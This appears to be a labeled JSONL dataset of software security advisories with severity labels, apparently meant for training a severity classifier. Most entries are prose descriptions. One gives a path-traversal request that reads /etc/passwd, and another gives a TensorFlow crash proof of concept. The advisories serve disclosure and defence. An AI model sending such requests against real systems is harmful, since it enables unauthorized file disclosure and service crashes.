-{"id": "676f504e80aff717b1a9", "text": "Potential memory corruption in arrayfire\n\nThe attribute repr() added to enums to be compatible with C-FFI caused memory corruption on MSVC toolchain.\n\narrayfire crates <= version 3.5.0 do not have this issue when used with Rust versions 1.27 or earlier. The issue only started to appear since Rust version 1.28.\n\nThe issue seems to be interlinked with which version of Rust is being used.\n\nThe issue was fixed in crate 3.6.0.", "text_raw": "Potential memory corruption in arrayfire\n\n[Severity: CRITICAL]\n\nThe attribute repr() added to enums to be compatible with C-FFI caused memory corruption on MSVC toolchain.\n\narrayfire crates <= version 3.5.0 do not have this issue when used with Rust versions 1.27 or earlier. The issue only started to appear since Rust version 1.28.\n\nThe issue seems to be interlinked with which version of Rust is being used.\n\nThe issue was fixed in crate 3.6.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ca0098fb5387aaf9956f", "text": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\nThe verify function in the Stark Bank .NET ECDSA library (ecdsa-dotnet) 1.3.1 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "text_raw": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\n[Severity: CRITICAL]\n\nThe verify function in the Stark Bank .NET ECDSA library (ecdsa-dotnet) 1.3.1 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "c46a2c5d7262a1b555b8", "text": "Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit", "text_raw": "Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2012-03-23", "split": "train"}
-{"id": "01c7a4c10dce0d2d1923", "text": "Cross-Site Scripting in html-pages\n\nAll versions of `html-pages` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize folder names, allowing attackers to execute arbitrary JavaScript in the victim's browser through folders with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in html-pages\n\n[Severity: MEDIUM]\n\nAll versions of `html-pages` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize folder names, allowing attackers to execute arbitrary JavaScript in the victim's browser through folders with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "0050f7cd67b797ffc800", "text": "Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability", "text_raw": "Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-10", "split": "train"}
-{"id": "0f132324cc9a06aa6e47", "text": "Malicious Package in malicious-npm-package\n\nAll versions of `malicious-npm-package` contain malicious code. The malware targets Windows systems. It runs a powershell command that downloads an executable file from a remote server and runs it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in malicious-npm-package\n\n[Severity: CRITICAL]\n\nAll versions of `malicious-npm-package` contain malicious code. The malware targets Windows systems. It runs a powershell command that downloads an executable file from a remote server and runs it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "7a13aae868f3b0bbfbd7", "text": "Serialization gadgets exploit in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.", "text_raw": "Serialization gadgets exploit in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "5a40ff17ba65387eb79a", "text": "Regular Expression Denial of Service in npm-user-validate\n\n`npm-user-validate` before version `1.0.1` is vulnerable to a Regular Expression Denial of Service (REDos). The regex that validates user emails took exponentially longer to process long input strings beginning with `@` characters.\n\n### Impact\nThe issue affects the `email` function. If you use this function to process arbitrary user input with no character limit the application may be susceptible to Denial of Service.\n\n### Patches\nThe issue is patched in version 1.0.1 by improving the regular expression used and also enforcing a 254 character limit.\n\n### Workarounds\nRestrict the character length to a reasonable degree before passing a value to `.emal()`; Also, consider doing a more rigorous sanitizing/validation beforehand.", "text_raw": "Regular Expression Denial of Service in npm-user-validate\n\n[Severity: LOW]\n\n`npm-user-validate` before version `1.0.1` is vulnerable to a Regular Expression Denial of Service (REDos). The regex that validates user emails took exponentially longer to process long input strings beginning with `@` characters.\n\n### Impact\nThe issue affects the `email` function. If you use this function to process arbitrary user input with no character limit the application may be susceptible to Denial of Service.\n\n### Patches\nThe issue is patched in version 1.0.1 by improving the regular expression used and also enforcing a 254 character limit.\n\n### Workarounds\nRestrict the character length to a reasonable degree before passing a value to `.emal()`; Also, consider doing a more rigorous sanitizing/validation beforehand.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-16", "split": "train"}
-{"id": "2dcabaf7b81b7d93953b", "text": "Wicked gem contains Path traversal vulnerability\n\nThe Wicked gem prior to v1.0.1 allows a remote attacker to traverse directories on the system via a vulnerability in `controller/concerns/render_redirect.rb`. An attacker can send a specially-crafted URL request containing `%2E%2E%2F` directory traversal sequences to read arbitrary files on the system.", "text_raw": "Wicked gem contains Path traversal vulnerability\n\n[Severity: MEDIUM]\n\nThe Wicked gem prior to v1.0.1 allows a remote attacker to traverse directories on the system via a vulnerability in `controller/concerns/render_redirect.rb`. An attacker can send a specially-crafted URL request containing `%2E%2E%2F` directory traversal sequences to read arbitrary files on the system.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d3d6a077b541f70b6244", "text": "Padding oracle attacks\n\nIt was found that all OWASP ESAPI for Java up to version 2.0 RC2 are vulnerable to padding oracle attacks.", "text_raw": "Padding oracle attacks\n\n[Severity: MEDIUM]\n\nIt was found that all OWASP ESAPI for Java up to version 2.0 RC2 are vulnerable to padding oracle attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "d975aadeff7692323c5d", "text": "Malicious Package in buffer-xos\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xos\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "826b18478b738545ff79", "text": "Malicious Package in requuest\n\nAll versions of `requuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requuest\n\n[Severity: CRITICAL]\n\nAll versions of `requuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "5688bb54ecd195d73cba", "text": "Insufficient Entropy in DotNetNuke\n\nDNN (aka DotNetNuke) 9.2 through 9.2.2 incorrectly converts encryption key source values, resulting in lower than expected entropy. NOTE: this issue exists because of an incomplete fix for CVE-2018-15812.", "text_raw": "Insufficient Entropy in DotNetNuke\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) 9.2 through 9.2.2 incorrectly converts encryption key source values, resulting in lower than expected entropy. NOTE: this issue exists because of an incomplete fix for CVE-2018-15812.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "062b4a06746ecd05d492", "text": "ibm_db downloads Resources over HTTP\n\nAffected versions of `ibm_db` insecurely download resources over HTTP.\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "text_raw": "ibm_db downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `ibm_db` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "3e5c3a8f6a3d92e5e40a", "text": "Ubisoft Rayman Legends v1.2.103716 Remote Stack Buffer Overflow Vulnerability", "text_raw": "Ubisoft Rayman Legends v1.2.103716 Remote Stack Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-06-17", "split": "train"}
-{"id": "c8667e61a2ef330babfd", "text": "Cross-site Scripting in Chartkick\n\nThe Chartkick gem through 3.1.0 for Ruby allows XSS.", "text_raw": "Cross-site Scripting in Chartkick\n\n[Severity: MEDIUM]\n\nThe Chartkick gem through 3.1.0 for Ruby allows XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
-{"id": "0697e10c21f9bc762ef0", "text": "Django Cross-site Scripting in AdminURLFieldWidget\n\nAn issue was discovered in Django 1.11 before 1.11.21, 2.1 before 2.1.9, and 2.2 before 2.2.2. The clickable Current URL value displayed by the AdminURLFieldWidget displays the provided value without validating it as a safe URL. Thus, an unvalidated value stored in the database, or a value provided as a URL query parameter payload, could result in an clickable JavaScript link.", "text_raw": "Django Cross-site Scripting in AdminURLFieldWidget\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django 1.11 before 1.11.21, 2.1 before 2.1.9, and 2.2 before 2.2.2. The clickable Current URL value displayed by the AdminURLFieldWidget displays the provided value without validating it as a safe URL. Thus, an unvalidated value stored in the database, or a value provided as a URL query parameter payload, could result in an clickable JavaScript link.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-10", "split": "train"}
-{"id": "91891d804d8c7883b186", "text": "Use of Insufficiently Random Values in yiisoft/yii2-dev\n\nyii2 is vulnerable to Use of Predictable Algorithm in Random Number Generator", "text_raw": "Use of Insufficiently Random Values in yiisoft/yii2-dev\n\n[Severity: HIGH]\n\nyii2 is vulnerable to Use of Predictable Algorithm in Random Number Generator", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "c94591d11997b2227b92", "text": "opencv.js is malware\n\nopencv.js was a malicious module published with the intent to hijack environment variables. It has been unpublished by npm.", "text_raw": "opencv.js is malware\n\n[Severity: HIGH]\n\nopencv.js was a malicious module published with the intent to hijack environment variables. It has been unpublished by npm.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "cd1bd80086e74f93d473", "text": "Jupyter Notebook XSS via directory name\n\nJupyter Notebook before 5.7.2 allows XSS via a crafted directory name because notebook/static/tree/js/notebooklist.js handles certain URLs unsafely.", "text_raw": "Jupyter Notebook XSS via directory name\n\n[Severity: MEDIUM]\n\nJupyter Notebook before 5.7.2 allows XSS via a crafted directory name because notebook/static/tree/js/notebooklist.js handles certain URLs unsafely.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "5d33748ff87aa787b359", "text": "Heap out of bounds access in sparse reduction operations\n\n### Impact\nThe implementation of sparse reduction operations in TensorFlow can trigger accesses outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\nx = tf.SparseTensor(\n      indices=[[773, 773, 773], [773, 773, 773]],\n      values=[1, 1],\n      dense_shape=[337, 337, 337])\ntf.sparse.reduce_sum(x, 1)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a1bc56203f21a5a4995311825ffaba7a670d7747/tensorflow/core/kernels/sparse_reduce_op.cc#L217-L228) fails to validate that each reduction group does not overflow and that each corresponding index does not point to outside the bounds of the input tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [87158f43f05f2720a374f3e6d22a7aaa3a33f750](https://github.com/tensorflow/tensorflow/commit/87158f43f05f2720a374f3e6d22a7aaa3a33f750).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap out of bounds access in sparse reduction operations\n\n[Severity: HIGH]\n\n### Impact\nThe implementation of sparse reduction operations in TensorFlow can trigger accesses outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\nx = tf.SparseTensor(\n      indices=[[773, 773, 773], [773, 773, 773]],\n      values=[1, 1],\n      dense_shape=[337, 337, 337])\ntf.sparse.reduce_sum(x, 1)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a1bc56203f21a5a4995311825ffaba7a670d7747/tensorflow/core/kernels/sparse_reduce_op.cc#L217-L228) fails to validate that each reduction group does not overflow and that each corresponding index does not point to outside the bounds of the input tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [87158f43f05f2720a374f3e6d22a7aaa3a33f750](https://github.com/tensorflow/tensorflow/commit/87158f43f05f2720a374f3e6d22a7aaa3a33f750). \n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "710a54da5b83ea99874c", "text": "Koji hub call does not perform correct access checks\n\nKoji version 1.12, 1.13, 1.14 and 1.15 contain an incorrect access control vulnerability resulting in arbitrary filesystem read/write access. This vulnerability has been fixed in versions 1.12.1, 1.13.1, 1.14.1 and 1.15.1.", "text_raw": "Koji hub call does not perform correct access checks\n\n[Severity: CRITICAL]\n\nKoji version 1.12, 1.13, 1.14 and 1.15 contain an incorrect access control vulnerability resulting in arbitrary filesystem read/write access. This vulnerability has been fixed in versions 1.12.1, 1.13.1, 1.14.1 and 1.15.1.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "59ebea7c386add6335c1", "text": "Code Injection in SLO Generator\n\nSLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173", "text_raw": "Code Injection in SLO Generator\n\n[Severity: MEDIUM]\n\nSLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173 ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "73cbdddc3b2f9dc97938", "text": "Directory Traversal in earlybird\n\nAffected versions of `earlybird` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in earlybird\n\n[Severity: HIGH]\n\nAffected versions of `earlybird` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7d024737f78893b7229a", "text": "Cross-Site Scripting in exceljs\n\nVersions of `exceljs` before 1.6.0 are vulnerable to cross-site scripting.\n\nThis vulnerability is due to `exceljs` not validating data from parsed XLSX file and embedding HTML tags, like `<script>` directly into the sheet cells. Because of this it's possible to inject malicious JavaScript code and execute it when data from the sheet is displayed in the browser.\n\n## Recommendation\n\nUpdate to version 1.6.0 or later.", "text_raw": "Cross-Site Scripting in exceljs\n\n[Severity: MEDIUM]\n\nVersions of `exceljs` before 1.6.0 are vulnerable to cross-site scripting. \n\nThis vulnerability is due to `exceljs` not validating data from parsed XLSX file and embedding HTML tags, like `<script>` directly into the sheet cells. Because of this it's possible to inject malicious JavaScript code and execute it when data from the sheet is displayed in the browser.\n\n\n\n\n## Recommendation\n\nUpdate to version 1.6.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-11", "split": "train"}
-{"id": "47f1c4de086b1b839746", "text": "Cached redirect poisoning via X-Forwarded-Host header\n\nA user supplied `X-Forwarded-Host` header can be used to perform cache poisoning of a cache fronting a Ratpack server if the cache key does not include the `X-Forwarded-Host` header as a cache key.\n\nUsers are only vulnerable if they do not configure a custom `PublicAddress` instance. A custom `PublicAddress` can be specified by using [ServerConfigBuilder::publicAddress](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#publicAddress-java.net.URI-). For versions prior to 1.9.0, by default, Ratpack utilizes an inferring version of `PublicAddress` which is vulnerable.\n\n### Impact\n\nThis can be used to perform redirect cache poisoning where an attacker can force a cached redirect to redirect to their site instead of the intended redirect location.\n\n### Patches\n\nAs of Ratpack 1.9.0, two changes have been made that mitigate this vulnerability:\n\n1. The default PublicAddress implementation no longer infers the address from the request context, instead relying on the configured bind host/port\n2. Relative redirects issued by the application are no longer absolutized; they are passed through as-is\n\n### Workarounds\n\nIn production, ensure that [ServerConfigBuilder::publicAddress](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#publicAddress-java.net.URI-) correctly configures the server.\n\n### References\n - https://portswigger.net/web-security/web-cache-poisoning", "text_raw": "Cached redirect poisoning via X-Forwarded-Host header\n\n[Severity: HIGH]\n\nA user supplied `X-Forwarded-Host` header can be used to perform cache poisoning of a cache fronting a Ratpack server if the cache key does not include the `X-Forwarded-Host` header as a cache key.\n\nUsers are only vulnerable if they do not configure a custom `PublicAddress` instance. A custom `PublicAddress` can be specified by using [ServerConfigBuilder::publicAddress](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#publicAddress-java.net.URI-). For versions prior to 1.9.0, by default, Ratpack utilizes an inferring version of `PublicAddress` which is vulnerable.\n\n### Impact\n\nThis can be used to perform redirect cache poisoning where an attacker can force a cached redirect to redirect to their site instead of the intended redirect location.\n\n### Patches\n\nAs of Ratpack 1.9.0, two changes have been made that mitigate this vulnerability:\n\n1. The default PublicAddress implementation no longer infers the address from the request context, instead relying on the configured bind host/port\n2. Relative redirects issued by the application are no longer absolutized; they are passed through as-is\n\n### Workarounds\n\nIn production, ensure that [ServerConfigBuilder::publicAddress](https://ratpack.io/manual/current/api/ratpack/server/ServerConfigBuilder.html#publicAddress-java.net.URI-) correctly configures the server.\n\n### References\n - https://portswigger.net/web-security/web-cache-poisoning", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "f559ce62f0215cfe6fe9", "text": "Prototype Pollution in cookiex/deep\n\nThe npm @cookiex/deep package before version 0.0.7 has a prototype pollution vulnerability. The global proto object can be polluted using the __proto__ object.", "text_raw": "Prototype Pollution in cookiex/deep\n\n[Severity: HIGH]\n\nThe npm @cookiex/deep package before version 0.0.7 has a prototype pollution vulnerability. The global proto object can be polluted using the __proto__ object.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "fb00325550ec57bcd95a", "text": "Peplink NGxxx/LCxxx VPN-Firewall Open Redirect Vulnerability", "text_raw": "Peplink NGxxx/LCxxx VPN-Firewall Open Redirect Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-11-29", "split": "train"}
-{"id": "2a2e7ba61332319db94a", "text": "Command injection leading to Remote Code Execution in Apache Storm\n\nA Command Injection vulnerability exists in the getTopologyHistory service of the Apache Storm 2.x prior to 2.2.1 and Apache Storm 1.x prior to 1.2.4. A specially crafted thrift request to the Nimbus server allows Remote Code Execution (RCE) prior to authentication.", "text_raw": "Command injection leading to Remote Code Execution in Apache Storm\n\n[Severity: CRITICAL]\n\nA Command Injection vulnerability exists in the getTopologyHistory service of the Apache Storm 2.x prior to 2.2.1 and Apache Storm 1.x prior to 1.2.4. A specially crafted thrift request to the Nimbus server allows Remote Code Execution (RCE) prior to authentication.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-27", "split": "train"}
-{"id": "51035e84e78fd5822f04", "text": "coreos-installer improperly verifies GPG signature when decompressing gzipped artifact\n\n### Impact\n\ncoreos-installer fails to correctly verify GPG signatures when decompressing gzip-compressed artifacts.  This allows bypass of signature verification in cases where coreos-installer decompresses a downloaded OS image, allowing an attacker who can modify the OS image to compromise a newly-installed system.\n\nDefault installations from ISO or PXE media in Fedora CoreOS, RHEL CoreOS, and RHEL for Edge are **not** affected, as coreos-installer installs from an OS image shipped as part of the install media.\n\nThese flows are affected:\n\n1.  Installing with `--image-file`, `--image-url`, or `coreos.inst.image_url`.  For example, if a user has a local mirror of installation images, an attacker could replace an image with a gzip-compressed alternative (even if the file extension is `.xz`).  The result:\n\n```\n    $ coreos-installer install --image-url http://localhost:8080/image.xz /dev/loop0\n    Downloading image from http://localhost:8080/image.xz\n    Downloading signature from http://localhost:8080/image.xz.sig\n    > Read disk 749.9 MiB/749.9 MiB (100%)\n    gpg: Signature made Mon 20 Sep 2021 02:41:50 PM EDT\n    gpg: using RSA key 8C5BA6990BDB26E19F2A1A801161AE6945719A39\n    gpg: BAD signature from \"Fedora (34) <fedora-34-primary@fedoraproject.org>\" [ultimate]\n    Install complete.\n    ```\n\nNotice that GPG reports a bad signature, but coreos-installer continues anyway.  Automation that relies on coreos-installer's exit status will not notice either.\n\n2. `coreos-installer download --decompress --image-url`:\n\n```\n    $ coreos-installer download --decompress --image-url http://localhost:8080/image.xz\n    > Read disk 749.9 MiB/749.9 MiB (100%)\n    gpg: Signature made Mon 20 Sep 2021 02:41:50 PM EDT\n    gpg: using RSA key 8C5BA6990BDB26E19F2A1A801161AE6945719A39\n    gpg: BAD signature from \"Fedora (34) <fedora-34-primary@fedoraproject.org>\" [ultimate]\n    ./image\n    ```\n\nAgain, coreos-installer reports success.\n\n3. Installing with default parameters, when **not** installing from the image built into live ISO or PXE media, if the hosting service is compromised or if an active attacker gains control of the HTTPS response.\n\n4. `coreos-installer download --decompress` if the hosting service is compromised or if an active attacker gains control of the HTTPS response.\n\n### Patches\n\nThe vulnerability is [fixed](https://github.com/coreos/coreos-installer/pull/659) in coreos-installer 0.10.1.\n\n### Workarounds\n\nFor `coreos-installer download`, do not use the `-d` or `--decompress` options.\n\nFor `coreos-installer install`, manually inspect the stderr output.  If `BAD signature` appears, do not boot from the target disk.  Note, however, that some OS services may have already accessed data on the compromised disk.\n\n### References\n\nFor more information, see [PR 655](https://github.com/coreos/coreos-installer/pull/655).\n\n### For more information\n\nIf you have any questions or comments about this advisory, [open an issue in coreos-installer](https://github.com/coreos/coreos-installer/issues/new/choose) or email the CoreOS [development mailing list](https://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/).", "text_raw": "coreos-installer improperly verifies GPG signature when decompressing gzipped artifact\n\n[Severity: HIGH]\n\n### Impact\n\ncoreos-installer fails to correctly verify GPG signatures when decompressing gzip-compressed artifacts.  This allows bypass of signature verification in cases where coreos-installer decompresses a downloaded OS image, allowing an attacker who can modify the OS image to compromise a newly-installed system.\n\nDefault installations from ISO or PXE media in Fedora CoreOS, RHEL CoreOS, and RHEL for Edge are **not** affected, as coreos-installer installs from an OS image shipped as part of the install media.\n\nThese flows are affected:\n\n1.  Installing with `--image-file`, `--image-url`, or `coreos.inst.image_url`.  For example, if a user has a local mirror of installation images, an attacker could replace an image with a gzip-compressed alternative (even if the file extension is `.xz`).  The result:\n\n    ```\n    $ coreos-installer install --image-url http://localhost:8080/image.xz /dev/loop0\n    Downloading image from http://localhost:8080/image.xz\n    Downloading signature from http://localhost:8080/image.xz.sig\n    > Read disk 749.9 MiB/749.9 MiB (100%)\n    gpg: Signature made Mon 20 Sep 2021 02:41:50 PM EDT\n    gpg: using RSA key 8C5BA6990BDB26E19F2A1A801161AE6945719A39\n    gpg: BAD signature from \"Fedora (34) <fedora-34-primary@fedoraproject.org>\" [ultimate]\n    Install complete.\n    ```\n\n    Notice that GPG reports a bad signature, but coreos-installer continues anyway.  Automation that relies on coreos-installer's exit status will not notice either.\n\n2. `coreos-installer download --decompress --image-url`:\n\n    ```\n    $ coreos-installer download --decompress --image-url http://localhost:8080/image.xz\n    > Read disk 749.9 MiB/749.9 MiB (100%)\n    gpg: Signature made Mon 20 Sep 2021 02:41:50 PM EDT\n    gpg: using RSA key 8C5BA6990BDB26E19F2A1A801161AE6945719A39\n    gpg: BAD signature from \"Fedora (34) <fedora-34-primary@fedoraproject.org>\" [ultimate]\n    ./image\n    ```\n\n    Again, coreos-installer reports success.\n\n3. Installing with default parameters, when **not** installing from the image built into live ISO or PXE media, if the hosting service is compromised or if an active attacker gains control of the HTTPS response.\n\n4. `coreos-installer download --decompress` if the hosting service is compromised or if an active attacker gains control of the HTTPS response.\n\n### Patches\n\nThe vulnerability is [fixed](https://github.com/coreos/coreos-installer/pull/659) in coreos-installer 0.10.1.\n\n### Workarounds\n\nFor `coreos-installer download`, do not use the `-d` or `--decompress` options.\n\nFor `coreos-installer install`, manually inspect the stderr output.  If `BAD signature` appears, do not boot from the target disk.  Note, however, that some OS services may have already accessed data on the compromised disk.\n\n### References\n\nFor more information, see [PR 655](https://github.com/coreos/coreos-installer/pull/655).\n\n### For more information\n\nIf you have any questions or comments about this advisory, [open an issue in coreos-installer](https://github.com/coreos/coreos-installer/issues/new/choose) or email the CoreOS [development mailing list](https://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "c98d0e2554b5a6631496", "text": "Path Traversal in stattic\n\nVersions of `stattic` before 0.3.0 are vulnerable to path traversal allowing a remote attacker to read arbitrary files with any extension from the server that users `stattic`.\n\n## Recommendation\n\nUpdate to version 0.3.0 or later.", "text_raw": "Path Traversal in stattic\n\n[Severity: HIGH]\n\nVersions of `stattic` before 0.3.0 are vulnerable to path traversal allowing a remote attacker to read arbitrary files with any extension from the server that users `stattic`.\n\n\n## Recommendation\n\nUpdate to version 0.3.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "81b78326275d01cb8ced", "text": "AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities", "text_raw": "AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "1cba03e834eeffa9ea53", "text": "MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability", "text_raw": "MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-12-15", "split": "train"}
